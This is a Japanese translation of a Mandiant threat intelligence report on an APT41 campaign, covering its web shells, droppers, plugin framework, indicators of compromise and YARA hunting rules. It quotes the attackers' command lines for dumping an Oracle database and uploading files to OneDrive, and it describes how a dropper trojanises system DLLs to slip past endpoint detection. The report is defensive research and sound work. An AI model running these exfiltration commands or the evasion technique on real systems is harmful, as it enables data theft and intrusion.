コンテンツに移動
脅威インテリジェンス

APT41 の新たな脅威活動

2024年9月1日
Mandiant

執筆者: Mike Stokkel, Pierre Gerlings, Renato Fontana, Luis Rocha, Jared Wilson, Stephen Eckels, Jonathan Lepore


 

※この投稿は米国時間 2024 年 7 月 19 日に、Google Cloud blog に投稿されたものの抄訳です。

要約

  • Mandiant は、Google の脅威分析グループ(TAG)と連携して、持続的標的型攻撃グループ APT41 が、世界的な配送と物流、メディアとエンターテイメント、テクノロジー、および自動車の各分野で活動する複数の組織を標的に継続的なキャンペーンを行い、侵害に成功していることを確認しました。組織の大半はイタリア、スペイン、台湾、タイ、トルコ、英国で事業を展開していました。

  • APT41 2023 年以降、多数の被害者のネットワークへの侵入と持続的な不正アクセスを成功させており、長期間にわたってセンシティブ データを抽出しています。

  • APT41 は、DUSTPAN の実行に ANTSWORD BLUEBEAM ウェブシェルの組み合わせを使用し、コマンド&コントロール通信用の BEACON バックドアを実行しました。侵入の後半では、APT41 DUSTTRAP を活用し、実際のキーボード操作を実行しました。APT41 は、一般に入手可能なツールの SQLULDR2 を使用してデータベースからデータをコピーし、PINEGROVE を使用してデータを Microsoft OneDrive に持ち出しました。

概要

最近 Mandiant は、APT41 の侵入により、悪意のあるアクターが、持続性を保つために ANTSWORD BLUEBEAM のウェブシェルの組み合わせをデプロイしたことを認識しました。これらのウェブシェルは Tomcat Apache Manager サーバー上で特定され、少なくとも 2023 年からアクティブになっていました。APT41 はこれらのウェブシェルを利用して certutil.exe を実行し、DUSTPAN ドロッパーをダウンロードして BEACON を密かに読み込みました。

侵入が進むについて、APT41 DUSTTRAP ドロッパーをデプロイすることで戦術を拡大させました。実行時に、DUSTTRAP は悪意のあるペイロードを復号してメモリ内で実行するため、残されるフォレンジック痕跡は最小限になります。復号されたペイロードは、APT41 が管理するコマンド&コントロール インフラストラクチャ、または、場合によっては、侵害された Google Workspace アカウントとの通信チャネルを確立するように設計されており、悪意のあるアクティビティを正規のトラフィックにさらに統合しました。影響を受けた Google Workspace アカウントは、さらなる不正アクセスを防ぐために正常に修復されました。

さらに、APT41 SQLULDR2 を利用して Oracle データベースからデータをエクスポートし、PINEGROVE を使用して侵害されたネットワークから大量のセンシティブ データを体系的かつ効率的に持ち出し、OneDrive に転送して持ち出しとその後の分析を可能にしました。

https://storage.googleapis.com/gweb-cloudblog-publish/images/apt41-attack-path.max-1400x1400.png

図 1: 確認された APT41 攻撃の攻撃経路図

被害側の特徴

Mandiant Google TAG と連携して、このキャンペーンによって侵害を受けたさまざまな分野の複数の組織に通知しました。このキャンペーンの影響を受けた組織の所在地は、複数の大陸のさまざまな国にまたがっています。

  • イタリア

  • スペイン

  • 台湾

  • タイ

  • トルコ

  • 英国

特定の分野内の被害者組織を分析すると、注目すべき地理的分布が明らかになります。標的となった配送・物流分野の組織は、1 つの例外を除き、ほぼすべてヨーロッパと中東に所在していました。その一方、メディア・エンターテインメント分野で影響を受けた組織はすべてアジアに所在していました。

被害を受けた配送業界や物流業界の組織の大部分は、同じ業界で活動する大規模な多国籍企業の子会社や関連会社として、複数の大陸にまたがって事業を展開していました。

Mandiant は、シンガポールなどの他の国で活動する同様の組織に対して偵察活動が行われていることに気付きました。本稿の公開時点では、Mandiant Google TAG もこれらの組織が APT41 の侵害を受けていることを示すインジケーターを見つけていないものの、これが標的の範囲の拡大を示唆している可能性はあります。

https://storage.googleapis.com/gweb-cloudblog-publish/images/apt41-industries.max-1100x1100.png

図 2: 2024 年に APT41 の DUSTTRAP キャンペーンの影響を受ける分野

APT41

APT41 は、中国政府が支援するスパイ活動に加え、国家の管理が及ばないと考えられる金銭目的の活動も行っている活発なサイバー脅威グループです。  APT41 の金銭目的の侵入は主にビデオゲーム業界を標的としており、ソースコードやデジタル証明書の盗難、仮想通貨の操作、ランサムウェアのデプロイなどの活動を行っています。APT41 は、通常はスパイ活動にのみ使用される非公開のマルウェアを、国家支援の任務の範囲外と思われる活動で使用しており、その点で追跡されている中国拠点のアクターの中では珍しい存在です。

APT41 のスパイ活動は、医療、ハイテク、通信などの分野や、その他の経済的利益のある領域を標的にしています。APT41 はソフトウェア サプライ チェーンへの不正アクセスを頻繁に行っており、正規のソフトウェア アップデートに悪意のあるコードを挿入しています。また、ブートキットや不正アクセスされたデジタル証明書の使用といった、高度な手法も利用しています。APT41 は個人的な利益のためにビデオゲーム業界を一貫して標的にしていますが、このことが後にスパイ活動で使用された戦術の開発に貢献したと考えられています。

APT41 の詳細については、以下のリンクをご覧ください。

脅威活動

DUSTPAN BEACON

DUSTPAN は、埋め込まれたペイロードを復号して実行する、C / C++ で記述されたメモリ内ドロッパーです。DUSTPAN のさまざまなバリエーションでは、Portable ExecutablePE)ファイルで暗号化された、ハードコードされたファイルパスから、ディスク外に外部ペイロードを読み込むこともあります。DUSTPAN は、復号されたペイロードを別のプロセスに挿入するように構成される場合も、新しいスレッドを作成して独自のプロセス空間内で実行するように構成される場合もあります。

DUSTPAN は、2021 年と 2022 年に APT41 によって複数の侵害で使用されていましたが、最近の調査で再浮上しました。今回、APT41 は悪意のあるファイルを w3wp.exe または conn.exe として実行することで、DUSTPAN Windows バイナリとして偽装しました。さらに、DUSTPAN サンプルは Windows サービスを介して永続化されました。たとえば、そのサービスの一つは Windows Defend と呼ばれていました。

DUSTPAN サンプルは、ChaCha20 を使用して暗号化された BEACON ペイロードをメモリに読み込むように構成されていました。BEACON ペイロードは、実行されると、Cloudflare の背後でホストされているセルフマネージド インフラストラクチャを使用して通信するか、Cloudflare Workers をコマンド&コントロール(C2)チャネルとして利用しました。BEACON 構成は、「セキュリティ侵害インジケーター」のセクションでご覧いただけます。

DUSTTRAP

DUSTTRAP は、複数のコンポーネントを備えたマルチステージ プラグイン フレームワークです。DUSTTRAP は、暗号化されたディスク上の PE ファイル <varies>.dll.mui AES-128-CFB が復号してメモリ内で実行するランチャー(ステージ 1)から始まります。復号はターゲット マシンの HKLM\SOFTWARE\Microsoft\Cryptography\MachineGUID に依存し、それによってランチャーが被害者のシステムにキー設定されます。ランチャーから復号された PE は、メモリのみのドロッパー(ステージ 2)であり、.lrsrc セクションから埋め込まれた構成と 2 つ以上の埋め込まれたプラグインのダイナミック リンク ライブラリ(DLL)の復号を担当します。これらの DLL が実行されると、モジュール型プラグイン システムの設定が開始されます。最初に確認されたプラグイン(ステージ 3)は、低レベルのネットワーク設定と暗号化を担当します。2 番目に確認されたプラグイン(ステージ 4)は、より高レベルのネットワーク操作を担当し、追加のプラグインのダウンローダとして機能する可能性があります。追加のプラグインは、読み込まれると、実行チェーン内の前のコンポーネントに自身を登録して、追加機能を実行できます。2 番目のプラグインは機能が異なることが確認されており、さらに多くのプラグインのバリエーションが存在する可能性があります。

プラグインの読み込みは、各プラグインのコンテンツを保持するのに十分な大きさの .text セクションを持つ %windir% から、正規のシステム DLL をトロイの木馬化することによって実行されます。ターゲット DLL をトロイの木馬化するために、ドロッパーはディスク上の %windir%\Microsoft.NET\assembly\GAC_MSIL\System.Data.Trace\v4.0_4.0.0.0__b0<hex_uuid>\<original_module_name>.dll または %programdata%\Microsoft.NET\System.Data.Trace\v4.0_4.0.0.0__b0<hex_uuid>\<original_module_name>.dll に新しいファイルを生成します。悪意のあるプラグイン コードは、ZwCreateSection を呼び出してトロイの木馬化された悪意のあるプラグイン コードをメモリに読み込むのに十分な時間だけ、このファイルの .text セクションに存在します。トロイの木馬化されたファイルが閉じられる前に、.text セクションの元のコンテンツがディスクに復元されます。これは、ファイルを閉じるときに悪意のあるコンテンツをスキャンするエンドポイントでの検出と対応(EDR)ソリューションをすり抜ける回避手法です。そのため、検疫された時期によっては、悪意のあるコードがファイルに存在しない可能性があります。トロイの木馬化プロセス中に、システム時刻が <filetime>.log のログファイルに書き込まれ、ミューテックス ICMzUEkdLNayBdWF が取得される場合がありますが、ミューテックス名はホストごとに異なる可能性があります。

以下の正規の DLL はトロイの木馬化されないようにブロックリストに登録されています。

cfgmgr32.dll
combase.dll
cryptbase.dll
cryptsp.dll
dhcpcsvc.dll
dhcpcsvc6.dll
dnsapi.dll
FWPUCLNT.DLL
gdi32.dll
gdi32full.dll
iertutil.dll
imm32.dll
IPHLPAPI.DLL
kernel.appcore.dll
kernel32.dll
KernelBase.dll
locale.nls
msvcp_win.dll
msvcrt.dll
mswsock.dll
NapiNSP.dll
nlaapi.dll
nsi.dll
ntdll.dll
ntmarta.dll
oleaut32.dll
OnDemandConnRouteHelper.dll
pnrpnsp.dll
powrprof.dll
advapi32.dll
apphelp.dll
bcrypt.dll
bcryptprimitives.dll
profapi.dll
rasadhlp.dll
rpcrt4.dll
rsaenh.dll
sechost.dll
SHCore.dll
shell32.dll
shlwapi.dll
sspicli.dll
ucrtbase.dll
urlmon.dll
user32.dll
userenv.dll
webio.dll
win32u.dll
windows.storage.dll
winhttp.dll
wininet.dll
winnlsres.dll
winnsi.dll
winrnr.dll
winsta.dll
ws2_32.dll
wshbth.dll
Wtsapi32.dll

トロイの木馬化されたプラグインごとにステージ 2 ドロッパーによって作成されたセクション オブジェクトは、ドロッパーのプロセス内のリンクリストに追加され、メモリ内で実行されます。ドロッパーと各プラグインは相互に登録プロセスを実行します。これによりステージ 234 は相互に依存し、協力して相互に呼び出して、それぞれが担当する操作を処理します。これらすべてのコンポーネント間の実行は、ステージ 2 によって駆動される Windows ファイバーベースのタスク イベントループを介して行われます。このプラグイン フレームワークを使用して、追加のプラグインを登録および実行できます。

Google では、以下の上位レベルのテーマを持つプラグインを少なくとも 15 個確認しました。

  • シェル オペレーション

    • cmd.exe でプロセスを実行する

  • ファイル システム オペレーション

    • ディレクトリを列挙する

    • ディレクトリを変更する

    • ファイルを削除する

    • ディレクトリを作成する

    • ファイルをコピーする

    • ファイルを移動する

    • ファイルが存在する

    • ファイルのタイムスタンプを変更する

    • アタッチされているドライブを一覧表示する

  • プロセス オペレーション

    • 実行中のプロセスを列挙する

    • シェルコードを挿入する

    • プロセスを強制終了する

  • ネットワーク プロービング

    • リモートホストに ping する

    • ポートへの接続を試みる

  • ネットワーク ストア インターフェース オペレーション

    • ネットワーク インターフェースの統計情報を取得する

  • スクリーン オペレーション

    • 画面サイズを取得する

    • スクリーンショット

  • システム情報調査

    • RDP セッションを一覧表示する

    • インストールされているセキュリティ ソフトウェアを一覧表示する

    • システム情報を取得する

    • ユーザー アカウントを一覧表示する

    • システムの起動時間を取得する

    • 非表示および表示されているプロセス ウィンドウを列挙する

  • ファイル操作オペレーション

    • ファイルを開く

    • ファイルを書き込む

    • CRC32 ファイル コンテンツ

    • ファイルを読み取る

    • ファイルを閉じる

  • キーロガー

    • 有効化

    • ログを削除する

  • Active Directory オペレーション

    • ドメイン コントローラ情報を列挙する

    • ユーザーを追加する

    • ユーザーを削除する

    • サーバー構成を取得する

    • サーバー共有を取得する

    • サーバーおよびワークステーションの詳細なドメイン情報を取得する

    • サーバーを列挙する

    • サービスの一覧を取得する

    • ネットワーク共有のリストを取得する

    • ネットワーク共有を追加する

    • ネットワーク共有を切断する

    • ユーザーのリストを取得する

    • ユーザー パスワードを設定する

  • ファイル アップローダ

    • ディスク上のファイルをアップロードする

  • RDP

    • リモート デスクトップ セッションを列挙する

  • DNS オペレーション

    • DNS ルックアップを実行する

  • DNS キャッシュ オペレーション

    • DNS キャッシュ テーブル オペレーションを取得する

  • レジストリ オペレーション

    • レジストリ値を取得する

    • レジストリパスと子をディスクにダンプする

    • レジストリ値を設定する

    • レジストリ値を削除する

https://storage.googleapis.com/gweb-cloudblog-publish/images/apt41-dusttrap-execution-flow.max-1500x1500.png

図 3: DUSTTRAP の完全な実行フロー

SQLULDR2

SQLULDR2 は、C / C++ で記述されたコマンドライン ユーティリティです。リモートの Oracle データベースの内容をローカルのテキストベースのファイルにエクスポートするために使用できます。データのエクスポートの詳細を指定するために使用できるコマンドライン パラメータは、queryuserrowstext など、複数あります。

APT41 は以下のコマンドを使用して、Oracle データベースから CSV 形式にデータをエクスポートしました。

C:\ProgramData\luldr\luldr\sqluldr.exe user=<USER>@<SYSTEM>:1521/
<DATABASE> charset=utf8 safe=yes head=yes text=csv rows=50000000 
batch=yes query=<SQL QUERY> file=<OUTPUT>.csv

4: SQLULDR2 のコマンドライン実行

PINEGROVE

侵入中、APT41 がデータの引き出しに PINEGROVE を利用していたことを Mandiant は確認しました。PINEGROVE Go で記述されたコマンドライン アップローダで、OneDrive API を介してファイルを収集し、OneDrive にアップロードする機能を備えています。PINEGROVE では、関連する OneDrive 認証情報とアップロードする対象ファイルを含む認証 JSON ファイルが必要です。

C:\Programdata\One.exe -c C:\ProgramData\auth.json -s <Filename>

5: PINEGROVE のコマンドライン実行

PINEGROVE 一般提供されたツールであり、GitHub で入手できます。

コード署名証明書

侵入中に確認された DUSTTRAP マルウェアとその関連コンポーネントは、おそらく盗まれたコード署名証明書でコード署名されていました。コード署名証明書の一つは、ゲーム業界で事業を展開している韓国の企業に関連しているように思われました。

Serial Number: 
    6f:97:f1:3d:a5:5e:9f:70:a6:92:7e:d1:b3:3e:ee:ee
Signature Algorithm: sha256WithRSAEncryption
Issuer: C = US, O = "thawte, Inc.", CN = thawte SHA256 Code Signing CA
Validity
    Not Before: Feb 21 00:00:00 2019 GMT
    Not After : Apr 21 23:59:59 2022 GMT
Subject: C = KR, ST = SEOUL, L = Gangnam-gu, O = CCR INC, OU = IT Team, 
CN = CCR INC

6: APT41 によって悪用されたコード署名証明書

Serial Number:
    05:fa:8a:72:da:46:07:4f:de:1e:34:c7:46:61:ee:00
Signature Algorithm: sha256WithRSAEncryption
Issuer: C = US, O = DigiCert Inc, OU = www.digicert.com, 
CN = DigiCert SHA2 Assured ID Code Signing CA
Validity
    Not Before: Jul 15 00:00:00 2020 GMT
    Not After : Aug 31 12:00:00 2022 GMT
Subject: C = RU, L = Moscow, O = OOO ALEAN-TOUR, CN = OOO ALEAN-TOUR

7: APT41 によって悪用されたコード署名証明書

さらに Mandiant は、別の韓国のゲーム会社の証明書でコード署名された他の DUSTTRAP サンプルを VirusTotal で確認しました。この同じ証明書は、2020 年に Mandiant が、別の中国関連の脅威アクターであると疑われている UNC3914 によって使用されていることを確認しています。なお、このブログの執筆時点では、Mandiant TAG UNC3914 APT41 の間に直接的な関係は見出せていません。

Serial Number:
        0a:2c:bf:9b:18:fe:1b:20:b9:4e:ca:c4:b0:78:b8:c1
Signature Algorithm: sha256WithRSAEncryption
Issuer: C = US, O = DigiCert Inc, OU = www.digicert.com, 
CN = DigiCert SHA2 Assured ID Code Signing CA
Validity
    Not Before: Nov 12 00:00:00 2020 GMT
    Not After : Jan 17 23:59:59 2023 GMT
Subject: C = KR, ST = Seoul, L = Gangnam-gu, 
O = Gala Lab Corp., CN = Gala Lab Corp.

8: APT41 によって悪用されたコード署名証明書

コード署名証明書を使用していることと、その所有者とみられる企業がゲーム業界の企業であることは、APT41 の戦術、手法、手順(TTP)や過去のキャンペーンと一致しています。詳細については、APT41 レポートをご覧ください。

謝辞

この調査を可能にしてくれた Google TAG、インシデント対応コンサルタント、FLARE に感謝します。また、Mandiant に連絡して観測結果を共有してくれた Mnemonic にも感謝します。

MITRE ATT&CK

戦術

ID

名前

説明

偵察

T15931.002

オープン ウェブサイト / ドメインの検索: 検索エンジン

APT41 は、被害者のアクセス可能なサーバーを訪問する際に、検索エンジンを使用していることが確認されました。

偵察

T1594

被害者所有のウェブサイトの検索

APT41 は、外部からアクセス可能であり、インターネットのスキャンデータで見つけた被害者所有のインフラストラクチャを訪問したことが確認されました。

収集

T1560.001

ユーティリティ経由のアーカイブ

APT41 は、内部 Oracle データベースからダウンロードしたデータを RAR を使用して圧縮していることが確認されました。

コマンド&コントロール

T1071.001

ウェブ プロトコル

APT41 は、マルウェアの C2 として通信に HTTPS を使用していることが確認されました。

データの引き出し

T1567.002

クラウド ストレージへの引き出し

APT41 は、段階的なデータの引き出しに OneDrive を使用していることが確認されました。

永続性

T1543.003

システム プロセスの作成または変更: Windows サービス

APT41 は、永続性を実現するために Windows サービスを作成していることが確認されました。

永続性

T1574.001

DLL 検索順序のハイジャック

APT41 は、DLL 検索順序のハイジャックを悪用し、無害なコード署名付き Windows バイナリと悪意のあるコード署名付き Windows バイナリを使用して DUSTTRAP を実行しました。

永続性

T1574.002

DLL サイドローディング

APT41 は、DLL サイドローディングを悪用し、AhnLab アンインストーラを使用して DUSTTRAP を実行しました。

防御回避

T1070.004

ファイルの削除

APT41 は、使用を終えたファイルをシステムから削除しました。これは、APT41 がデータベース ダンプを作成し、ファイルを引き出した後に確認されました。

防御回避

T1036.005

正規の名前または位置の照合

APT41 は、正規の Windows の名前と位置を使用して、バイナリをトロイの木馬化しました。

防御回避

T1027.013

暗号化された / エンコードされたファイル

APT41 は、DUSTTRAP によって読み込まれるペイロードの暗号化に AES-128-CFB を活用しました。

永続性

T1505.003

サーバー ソフトウェア コンポーネント: ウェブシェル

APT41 は、DUSTPAN のドロップと実行にウェブシェルを使用していることが確認されました。

実行

T1569.002

サービス実行

APT41 は、DUSTPAN バイナリの実行に Windows サービスを使用していることが確認されました。

セキュリティ侵害インジケーター

ホストベースのインジケーター

ファイル名

MD5

ファミリー

sqluldr.exe

fcff642268898fcf65702a214aefbf9e

SQLULDR2

OneDriveUploader.exe

ac125aea0b703de37980779599438b4a

PINEGROVE

aclui.dll

17d0ada8f5610ff29f2e8eaf0e3bb578

DUSTPAN

dbgeng.dll

9991ce9d2746313f505dbf0487337082

DUSTTRAP

dbgeng.dll

c33247bc3e7e8cb72133e47930e6ddad

DUSTTRAP

hostfxr.dll

cfce85548436fb89a83bf34dc17f325d

DUSTTRAP

dbgeng.dll

e98b9e21928252332edf934f3d18ac21

DUSTTRAP

dbgeng.dll

8222352a61eacca3a1c6517956aa0b55

DUSTTRAP

-

dc725f5e9b1ae062fbec86ee4d816b45

DUSTTRAP

Sbiedll.dll

d72f202c1d684c9a19f075290a60920f

DUSTTRAP

atstrust.dll

393065ef9754e3f39b24b2d1051eab61

DUSTTRAP

-

0e74285f3359393e57f5d49c156aca47

DUSTTRAP

conn.exe

35f650c94faf6a2068e8238dd99edbea

DUSTPAN

PrintWorkflowUserSvc_a0c15f9d.dll / cbi.dll

3bb44c0dd7f424864d76d4df09538cb6

DUSTPAN

dbgeng.dll

aca5c6daecf463012a09564764584937

DUSTTRAP

-

336a0d6f8cc92bf9740ce17de600463b

DUSTTRAP

-

6bc4a92ff4d2cfc9da91ae6a5d2ad3d5

DUSTTRAP

-

a689e182fe33b9d564dddc35412ea0a7

DUSTTRAP

-

e4a4aafb49b8c86a5ac087ae342c0ee6

DUSTTRAP

-

e584119a4766e6cf49093c666965c8be

DUSTTRAP

-

f1769ad5a9dc44794895275c656ed484

DUSTTRAP

ネットワーク ベースのインジケーター

ファミリー

コメント

ns2[.]akacur[.]tk

BEACON

-

ns1[.]akacur[.]tk

BEACON

-

orange-breeze-66bb[.]tezsfsoikdvd[.]workers[.]dev

BEACON

-

www[.]eloples[.]com

DUSTTRAP

最初の観測日: 2024-02-21、最後の観測日: 2024-07-16

95.164.16[.]231

-

DUSTTRAP FQDN www[.]eloples[.]com に関連

152.89.244[.]185

-

DUSTPAN の配送に使用

最初の活動の観測日: 2023-03-21

hxxp://152.89.244[.]185/conn.exe

-

DUSTPAN の配送に使用

最初の活動の観測日: 2023-03-21

YARA ルールと YARA-L ルール

YARA

rule M_Hunting_Certificate_Gala_lab_corp
{
    meta:
        author = "Mandiant"
        description = "Rule looks for PEs signed using likely stolen 
certificate issued for Gala Lab corp"
        disclaimer = "This rule is meant for hunting and is not tested 
to run in a production environment."

    strings:
        $org = "Gala Lab Corp."
        $serial = { 0A 2C BF 9B 18 FE 1B 20 B9 4E CA C4 B0 78 B8 C1 }

    condition:
        ((uint16(0) == 0x5a4d and uint32(uint32(0x3C)) == 0x00004550) 
or (uint32(0) == 0xE011CFD0 and uint32(4) == 0xE11AB1A1)) 
and #org > 1 and $serial
}
rule M_Hunting_Certificate_CCR_INC
{
    meta:
        author = "Mandiant"
        description = "Rule looks for PEs signed using likely 
stolen certificate issued for CCR INC"
        disclaimer = "This rule is meant for hunting and is not 
tested to run in a production environment."

    strings:
        $org = "CCR INC"
        $serial = { 6F 97 F1 3D A5 5E 9F 70 A6 92 7E D1 B3 3E EE EE }

    condition:
        ((uint16(0) == 0x5a4d and uint32(uint32(0x3C)) == 0x00004550) or 
(uint32(0) == 0xE011CFD0 and uint32(4) == 0xE11AB1A1)) and #org > 1 
and $serial
}
rule M_Hunting_Certificate_ALEAN_TOUR
{
    meta:
        author = "Mandiant"
        description = "Rule looks for PEs signed using likely 
stolen certificate issued for ALEAN-TOUR"
        disclaimer = "This rule is meant for hunting and is not 
tested to run in a production environment."

    strings:
        $org = "OOO ALEAN-TOUR"
        $serial = { 05 FA 8A 72 DA 46 07 4F DE 1E 34 C7 46 61 EE 00 }

    condition:
        ((uint16(0) == 0x5a4d and uint32(uint32(0x3C)) == 0x00004550) 
or (uint32(0) == 0xE011CFD0 and uint32(4) == 0xE11AB1A1)) 
and #org > 1 and $serial
}
rule M_Hunting_Uploader_PINEGROVE_1
{
    meta:
        author = "Mandiant"
        description = "Hunting for PINEGROVE uploader 
malware family."
        disclaimer = "This rule is meant for hunting and is not 
tested to run in a production environment."

    strings:
        $s1 = "Config: `%v`" ascii
        $s2 = "auth.json" ascii
        $s3 = "sp=%v%v%x" ascii
        $s4 = "Time: %v" ascii
        $s5 = "/me/drive/root" ascii
        $s6 = "OneDrive" ascii fullword
        $s7 = "microsoft.graph.driveItemUploadableProperties" ascii
        $s8 = "client_id=%v&client_secret=%v" ascii
        $s9 = "http://localhost/onedrive-login" ascii

    condition:
        (
            ((uint32(0) == 0xcafebabe) or (uint32(0) == 0xfeedface) or 
(uint32(0) == 0xfeedfacf) or (uint32(0) == 0xbebafeca) or 
(uint32(0) == 0xcefaedfe) or (uint32(0) == 0xcffaedfe)) or 
            (uint32(0) == 0x464c457f) or 
            (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550)
        ) and 
        (6 of them)
}
rule M_Hunting_Uploader_PINEGROVE_2
{
    meta:
        author = "Mandiant"
        description = "Hunting for PINEGROVE uploader 
malware family."
        disclaimer = "This rule is meant for hunting and is not 
tested to run in a production environment."

    strings:
        $f1 = "main.AllFiles" ascii
        $f2 = "main.Collect" ascii
        $f3 = "main.ConfigInit" ascii
        $f4 = "main.ConfigRead" ascii
        $f5 = "main.ConfigSave" ascii
        $f6 = "main.ConfigUpdate" ascii
        $f7 = "main.Exit" ascii
        $f8 = "main.FileRange" ascii
        $f9 = "main.FileReader" ascii
        $f10 = "main.FileStatus" ascii
        $f11 = "main.FormatRemoteFilePath" ascii
        $f12 = "main.GetFileName" ascii
        $f13 = "main.GetReomtePath" ascii
        $f14 = "main.Header" ascii
        $f15 = "main.init.0" ascii
        $f16 = "main.InitFile" ascii
        $f17 = "main.IsFolder" ascii
        $f18 = "main.main" ascii
        $f19 = "main.PreLoad" ascii
        $f20 = "main.Range2Int" ascii
        $f21 = "main.RemainTime" ascii
        $f22 = "main.SessionCreate" ascii
        $f23 = "main.ShowBar" ascii
        $f24 = "main.StringChecker" ascii
        $f25 = "main.Task" ascii
        $f26 = "main.TaskFail" ascii
        $f27 = "main.ThreadUpload" ascii
        $f28 = "main.Timer" ascii
        $f29 = "main.TimeUnix" ascii
        $f30 = "main.Upload" ascii
        $f31 = "main.Upload.func1" ascii
        $f32 = "main.Uploading" ascii
        $version = "go1.13.1"

    condition:
        (
            ((uint32(0) == 0xcafebabe) or (uint32(0) == 0xfeedface) or 
(uint32(0) == 0xfeedfacf) or (uint32(0) == 0xbebafeca) or 
(uint32(0) == 0xcefaedfe) or (uint32(0) == 0xcffaedfe)) or 
            (uint32(0) == 0x464c457f) or 
            (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550)
        ) and 
        $version and (25 of ($f*))
}
rule M_Hunting_Uploader_PINEGROVE_3
{
    meta:
        author = "Mandiant"
        description = "Hunting for PINEGROVE uploader 
malware family."
        disclaimer = "This rule is meant for hunting and is not 
tested to run in a production environment."

    strings:
        $s1 = "RefreshToken"
        $s2 = "RefreshInterval"
        $s3 = "ThreadNum"
        $s4 = "BlockSize"
        $s5 = "SigleFile"
        $s6 = "MainLand"
        $s7 = "MSAccount"
        $anchor1 =  "driveItemUploadableProperties"
        $anchor2 =  "client_id"
        $anchor3 =  "client_secret"
        $anchor4 =  "onedrive-login"
        $anchor5 =  "authorization_code"

    condition:
        (
            ((uint32(0) == 0xcafebabe) or (uint32(0) == 0xfeedface) or 
(uint32(0) == 0xfeedfacf) or (uint32(0) == 0xbebafeca) or 
(uint32(0) == 0xcefaedfe) or (uint32(0) == 0xcffaedfe)) or 
            (uint32(0) == 0x464c457f) or 
            (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550)
        ) and 
        (5 of ($s*)) and 
        (4 of ($anchor*))
}
import "elf"
rule M_Hunting_Utility_Linux_SQLULDR2_1
{
    meta:
        author = "Mandiant"
        description = "Detection of the Linux version of SQLULDR2."
        disclaimer = "This rule is meant for hunting and is not 
tested to run in a production environment."

    strings:
        $name = "sqluldr2zip.c" ascii
        $out = "uldrdata.%p.txt" ascii
        $heading = "SQL*UnLoader: Fast Oracle Text Unloader" ascii
        $p1 = "exec    = the command to execute the SQLs" ascii
        $p2 = "file    = output file name(default: uldrdata.txt)" ascii
        $p3 = "format  = MYSQL: MySQL Insert SQLs, SQL: Insert SQLs" ascii
        $p4 = "text    = output type (MYSQL, CSV, MYSQLINS, 
ORACLEINS, FORM, SEARCH)" ascii
        $p5 = "rows    = print progress for every given rows 
(default, 1000000)" ascii
        $p6 = "query   = select statement" ascii
        $p7 = "user    = username/password@tnsname" ascii

    condition:
        (uint32(0) == 0x464c457f) and 
        $name and $out and $heading and (5 of ($p*)) and
        for any i in (0 .. elf.symtab_entries): 
(elf.symtab[i].name == "OCIServerAttach") and
        for any i in (0 .. elf.symtab_entries): 
(elf.symtab[i].name == "OCISessionBegin")
}
import "pe"
import "elf"
rule M_Hunting_Utility_SQLULDR2_1
{
    meta:
        author = "Mandiant"
        description = "Detection of SQLULDR2."
        disclaimer = "This rule is meant for hunting and is not 
tested to run in a production environment."

    strings:
        $win_name = "sqluldr2.exe" ascii
        $elf_name = "sqluldr2zip.c" ascii
        $out = "uldrdata.%p.txt" ascii
        $heading = "SQL*UnLoader: Fast Oracle Text Unloader" ascii
        $p1 = "exec    = the command to execute the SQLs" ascii
        $p2 = "file    = output file name(default: uldrdata.txt)" ascii
        $p3 = "format  = MYSQL: MySQL Insert SQLs, SQL: Insert SQLs" ascii
        $p4 = "text    = output type (MYSQL, CSV, MYSQLINS, 
ORACLEINS, FORM, SEARCH)" ascii
        $p5 = "rows    = print progress for every given rows 
(default, 1000000)" ascii
        $p6 = "query   = select statement" ascii
        $p7 = "user    = username/password@tnsname" ascii
        $import = "OCI.dll" ascii

    condition:
        (((uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and 
        pe.imports("OCI.dll","OCIServerAttach") and
        pe.imports("OCI.dll","OCISessionBegin") and
        $import and  $win_name and
        for all of ($p*) : ( @ > @heading )) or 
        ((uint32(0) == 0x464c457f) and 
        $elf_name and
        for any i in (0 .. elf.symtab_entries): 
(elf.symtab[i].name == "OCIServerAttach") and
        for any i in (0 .. elf.symtab_entries): 
(elf.symtab[i].name == "OCISessionBegin"))) and 
        $out and $heading and (5 of ($p*))
}
rule M_Hunting_Dropper_DUSTTRAP_1
{
	meta:
		author = "Mandiant"
		description = "Detects the DUSTTRAP dropper (x64) based 
on the use of CFG patching constants and argument construction 
for payload entry-point"
		disclaimer = "This rule is meant for hunting and is not 
tested to run in a production environment."

	strings:
		$cfg_patch_constant_1 = { 48 FF E0 CC 90 }
		$cfg_patch_constant_2 = { 8B DA 48 8B F9 E8 }
		$cfg_patch_constant_3 = { B8 48 8B 00 00 66 39 02 }
		$cfg_patch_constant_4 = { 81 7A 07 48 8B D1 48 }

		$log_format = "%lld.log" wide

	condition:
		uint16(0) == 0x5a4d and
		all of ($cfg_patch_constant_*) and
		$log_format
}
import "pe"

rule M_Hunting_DUSTPAN_CryptKeys {
    meta:
        author = "Mandiant"
        description = "Attempts to detect executables containing known 
DUSTPAN encryption keys within the .data section"
        disclaimer = "This rule is meant for hunting and is not 
tested to run in a production environment."

    strings:
        $key_1 = {3BCF741BF6411C087415BA340000004C8D05F28
C0000488B4910E801F0FEFFB8}
        $key_2 = {C4498BD6488BCFE848A5000084C07564488BCFE
8585C0000498B0F4C8B497045}
        $key_3 = {A24299055F1F0C14CBDD0B01DFA64C34F5FD033
CA7F1AF30A0C75C57359D41E0}

    condition:
        filesize < 15MB and
        for any i in (0..pe.number_of_sections - 1): (
            pe.sections[i].name == ".data" and
            any of ($key_*) in (pe.sections[i].raw_data_offset..
pe.sections[i].raw_data_offset + pe.sections[i].raw_data_size)
        )
}
import "pe"
 
rule M_HUNTING_DUSTTRAP_PayloadFile {
    meta:
        author = "Mandiant"
        description = "Detects executables containing a .lrsrc section 
which may represent DUSTTRAP payloads"
        disclaimer = "This rule is meant for hunting and is not 
tested to run in a production environment."

    condition:
        for any i in (0..pe.number_of_sections - 1): (
            uint32(pe.sections[i].raw_data_offset + 0) == 0x100 and
            pe.sections[i].raw_data_size > uint32
(pe.sections[i].raw_data_offset + 0) and
            pe.sections[i].name == ".lrsrc" and
            uint32(pe.sections[i].raw_data_offset + 4) < 0x1000 and
            uint32(pe.sections[i].raw_data_offset + 8) < 4
        )
}

YARA-L

